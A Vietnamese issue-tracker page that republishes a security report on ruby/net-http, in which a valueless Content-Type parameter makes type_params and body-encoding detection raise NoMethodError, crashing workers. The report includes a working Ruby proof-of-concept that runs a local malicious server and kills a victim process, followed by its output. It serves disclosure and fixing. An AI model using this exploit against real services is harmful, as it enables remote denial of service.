Net::HTTPHeader#type_params raises NoMethodError on a valueless Content-Type parameter, crashing callers
Maintainer thường phản hồi trong vòng 1 ngày
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 2/5
- Thời gian dự kiến
- 1-3 giờ
- Mức phù hợp với người mới
- 72/100
- Loại issue
- Lỗi
- Độ rõ ràng
- Đặc tả rõ ràng
- Mức độ hoạt động
- Sôi nổi
- Công nghệ
- ruby
- Lĩnh vực
- backend, networking
Hướng nghiên cứu
Bắt đầu tại lib/net/http/header.rb:804, nơi Net::HTTPHeader#type_params loại bỏ giá trị khỏi từng tham số Content-Type; issue có ví dụ tái hiện bằng Content-Type: text/html; charset. Kiểm tra xem đã có bài kiểm thử nào bao quát type_params và mã hóa phần thân phản hồi chưa, rồi bổ sung kiểm thử cho tham số không có =. Hoàn tất khi header đó không còn gây ra NoMethodError qua cả hai API.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
About
Title: Net::HTTPHeader#type_params raises NoMethodError on a valueless Content-Type parameter, crashing callers
Repository: ruby/net-http
Location: lib/net/http/header.rb:804
Severity: Low
Impacted versions: 0.1.0, 0.10.0, HEAD (e686ee5)
Summary
Net::HTTP parses the parameters of a Content-Type header by splitting each one on "=" and
then calling strip on both halves. The public method type_params assumes the "=" is always
present, so a header such as Content-Type: text/html; charset (a parameter with no
value) leaves the value nil and raises NoMethodError: undefined method 'strip' for nil.
The same helper is used internally by Net::HTTPResponse#detect_encoding whenever the
caller enables response body encoding detection (for example with
http.response_body_encoding = true or res.body_encoding = true), so the same header
also crashes body reading.
Nothing in the library turns the malformed header into a protocol error. Because
NoMethodError is a plain Ruby exception rather than a Net::HTTP exception, the rescue
clauses the documentation recommends
(rescue Net::HTTPError, Net::HTTPBadResponse, Timeout::Error) do not catch it. A server,
proxy, or other attacker-controlled origin can therefore terminate a request-handling
worker by returning a header that should simply have been ignored or reported as a bad
header.
Impact
This is a remote denial of service against applications that parse Content-Type with the
documented APIs. Any endpoint that fetches user-influenced URLs, receives webhooks,
follows redirects to third-party hosts, or talks to a less-trusted upstream can be crashed
by a single response. In a threaded or forking server that is one failed request away from
losing a worker, repeated malformed responses can take the service down. It also breaks
interoperability: perfectly normal but slightly malformed Content-Type values, which are
common in the wild, should produce a parameter hash or a protocol error, not an uncaught
exception. Callers that rescue StandardError survive, but they silently lose the response
and the parameter data.
Mitigations
Only responses whose Content-Type contains a';'-separated parameter without'=' trigger
it; well-formed Content-Type headers are parsed normally, and callers that rescue
StandardError survive (getting no parameters). A fix must skip (or treat as empty)
parameters that have no'=', raising a Net::HTTP protocol error at most, rather than
dereferencing nil, so untrusted response headers can never raise NoMethodError.
Examples
example 1
A link-preview service fetches an attacker-supplied URL and calls res.type_params to
decide how to render the page. The attacker's server replies
Content-Type: text/html; charset; the worker dies instead of rendering the preview.
example 2
A webhook relay forwards upstream responses and uses response_body_encoding = true to
transcode bodies. A compromised or malicious source sends a valueless charset parameter,
and reading the body raises NoMethodError, killing the relay process.
example 3
A reverse proxy built on Net::HTTP occasionally talks to legacy or broken appliances that
emit Content-Type parameters without values. Those appliances now crash the proxy on every
request instead of returning a parseable header.
Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC: a malformed Content-Type parameter crashes Net::HTTPHeader#type_params
# with NoMethodError (also reached from body-encoding sniffing).
#
# Bug: lib/net/http/header.rb#type_params does
# k, v = *param.split('=', 2); result[k.strip] = v.strip
# so a parameter without '=' makes `v` nil and `.strip` raise NoMethodError.
# Same for Net::HTTPResponse#detect_encoding, which consults type_params when
# body encoding sniffing is enabled (@body_encoding = true).
#
# ruby type_params_poc.rb [REPO_ROOT] (default /src)
#
# Exit 0 means the exploit worked.
REPO = File.expand_path(ARGV[0] || '/src')
ENV['BUNDLE_GEMFILE'] = File.join(REPO, 'Gemfile')
require 'bundler/setup'
$LOAD_PATH.unshift File.join(REPO, 'lib')
require 'socket'
require 'rbconfig'
require 'tempfile'
require 'net/http'
src = Net::HTTPHeader.instance_method(:type_params).source_location.first
abort "not testing the repo copy (loaded #{src})" unless src.start_with?(REPO + '/')
def start_origin(content_type, replies: 1)
srv = TCPServer.new('127.0.0.1', 0)
thr = Thread.new do
sock = srv.accept
replies.times do
while (l = sock.gets) && l != "\r\n"; end
sock.write("HTTP/1.1 200 OK\r\nContent-Type: #{content_type}\r\n" \
"Content-Length: 11\r\n\r\nhello world") rescue break
end
sleep 0.2
sock.close rescue nil
end
[srv, srv.addr[1], thr]
end
def fetch(content_type, body_encoding: false)
srv, port, thr = start_origin(content_type)
http = Net::HTTP.new('127.0.0.1', port)
http.start do |h|
req = Net::HTTP::Get.new('/page')
if body_encoding
# documented streaming use: choose the encoding before the body is read
h.request(req) do |res|
res.body_encoding = true
yield res
end
else
yield h.request(req)
end
end
ensure
thr.join(1); srv.close rescue nil
end
# --- control: a well-formed parameter parses normally ----------------------
good = fetch('text/html; charset=utf-8') { |res| res.type_params }
puts "== CONTROL - 'text/html; charset=utf-8'"
puts " type_params: #{good.inspect}"
puts
# --- attack 1: the documented public API -----------------------------------
api = begin
fetch('text/html; charset') { |res| res.type_params }
rescue Net::HTTPError, Net::HTTPBadResponse => e
"handled #{e.class}"
rescue StandardError => e
e
end
puts "== ATTACK - 'text/html; charset' (missing '=')"
puts " type_params raised #{api.class}: #{api.message} at #{api.backtrace&.first}" if api.is_a?(Exception)
puts
# --- attack 2: body encoding sniffing --------------------------------------
sniff = begin
fetch('text/html; charset', body_encoding: true) { |res| res.body }
rescue Net::HTTPError, Net::HTTPBadResponse => e
"handled #{e.class}"
rescue StandardError => e
e
end
puts '== ATTACK - same header with res.body_encoding = true'
puts " reading the body raised #{sniff.class}: #{sniff.message}" if sniff.is_a?(Exception)
puts
# --- attack 3: a worker that rescues Net::HTTP errors dies -----------------
VICTIM = <<~'RUBY'
ENV['BUNDLE_GEMFILE'] = File.join(ARGV[1], 'Gemfile')
require 'bundler/setup'
$LOAD_PATH.unshift File.join(ARGV[1], 'lib')
require 'net/http'
require 'timeout'
begin
Net::HTTP.start('127.0.0.1', Integer(ARGV[0])) do |h|
res = h.request(Net::HTTP::Get.new('/page'))
res.body_encoding = true
puts "worker: charset=#{res.type_params['charset'].inspect}"
end
rescue Net::HTTPError, Net::HTTPBadResponse, Timeout::Error => e
puts "worker: handled #{e.class}: #{e.message[0, 60]}"
exit 0
end
RUBY
srv, port, thr = start_origin('text/html; charset')
victim = Tempfile.new(['victim', '.rb'])
victim.write(VICTIM)
victim.flush
out = IO.popen([RbConfig.ruby, '-I', File.join(REPO, 'lib'), victim.path, port.to_s, REPO],
err: [:child, :out], &:read)
status = $?
thr.join(1); srv.close rescue nil
puts '== ATTACK - a worker that rescues Net::HTTPError/Net::HTTPBadResponse/Timeout::Error'
out.each_line { |l| puts " #{l.chomp}" }
puts " worker exit status: #{status.exitstatus} (#{status.success? ? 'survived' : 'CRASHED'})"
puts
if api.is_a?(NoMethodError) && sniff.is_a?(NoMethodError) && !status.success?
puts 'EXPLOITED'
puts ' * res.type_params raised NoMethodError on a server-controlled header'
puts ' * the same header crashed body-encoding sniffing (res.body_encoding = true)'
puts ' * the uncaught NoMethodError killed a worker with the documented rescues'
exit 0
end
warn 'NOT EXPLOITED'
exit 1
stdout
== CONTROL - 'text/html; charset=utf-8'
type_params: {"charset" => "utf-8"}
== ATTACK - 'text/html; charset' (missing '=')
type_params raised NoMethodError: undefined method 'strip' for nil at /src/lib/net/http/header.rb:804:in 'block in Net::HTTPHeader#type_params'
== ATTACK - same header with res.body_encoding = true
reading the body raised NoMethodError: undefined method 'strip' for nil
== ATTACK - a worker that rescues Net::HTTPError/Net::HTTPBadResponse/Timeout::Error
/src/lib/net/http/header.rb:804:in 'block in Net::HTTPHeader#type_params': undefined method 'strip' for nil (NoMethodError)
\tfrom /src/lib/net/http/header.rb:802:in 'Array#each'
\tfrom /src/lib/net/http/header.rb:802:in 'Net::HTTPHeader#type_params'
worker exit status: 1 (CRASHED)
EXPLOITED
* res.type_params raised NoMethodError on a server-controlled header
* the same header crashed body-encoding sniffing (res.body_encoding = true)
* the uncaught NoMethodError killed a worker with the documented rescues
- Ngôn ngữ chính
- Ruby
- Star
- 150
- Fork
- 104
- Merge trung bình
- 4 ngày 6 giờ
- Pull request đã merge (30 ngày)
- 10
Chuẩn bị môi trường
Dự án này không cung cấp dev container, Dockerfile hay hướng dẫn đóng góp, nên bạn cần tự thiết lập môi trường: hãy bắt đầu từ README và xem hướng dẫn đóng góp lần đầu của chúng tôi để biết các bước chung.
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của ruby/net-http
-
Empty DOM attribute crashes tokenizerCó thể đã có người làm @jeremyevans đã nhận 139 ngày trước. Đang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
ruby/net-http#311 · 3 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Unquote and unescape Content-Type: charset [RFC7230]Có thể đã có người làm @jeremyevans đã nhận 139 ngày trước. Đang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 83/100
ruby/net-http#267 · 6 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 3/5 1-2 ngày Mức phù hợp với người mới 58/100
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 3/5 1-2 ngày Mức phù hợp với người mới 57/100
Maintainer thường phản hồi trong vòng 1 ngày
-
Content-Length is not enforced for body_stream, so a longer stream smuggles a second requestĐang mở
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 56/100
Maintainer thường phản hồi trong vòng 1 ngày
Tất cả issue của ruby/net-http
Issue tương tự
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 85/100
open-feature/ruby-sdk-contrib#340 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 88/100
zold-io/wts.zold.io#651 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
good first issue help wanted
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 87/100
erkamyaman/rust-anything#788 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 74/100
TheOdinProject/curriculum#31579 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
hanami/hanami-cli#485 ·
Maintainer thường phản hồi trong vòng 1 ngày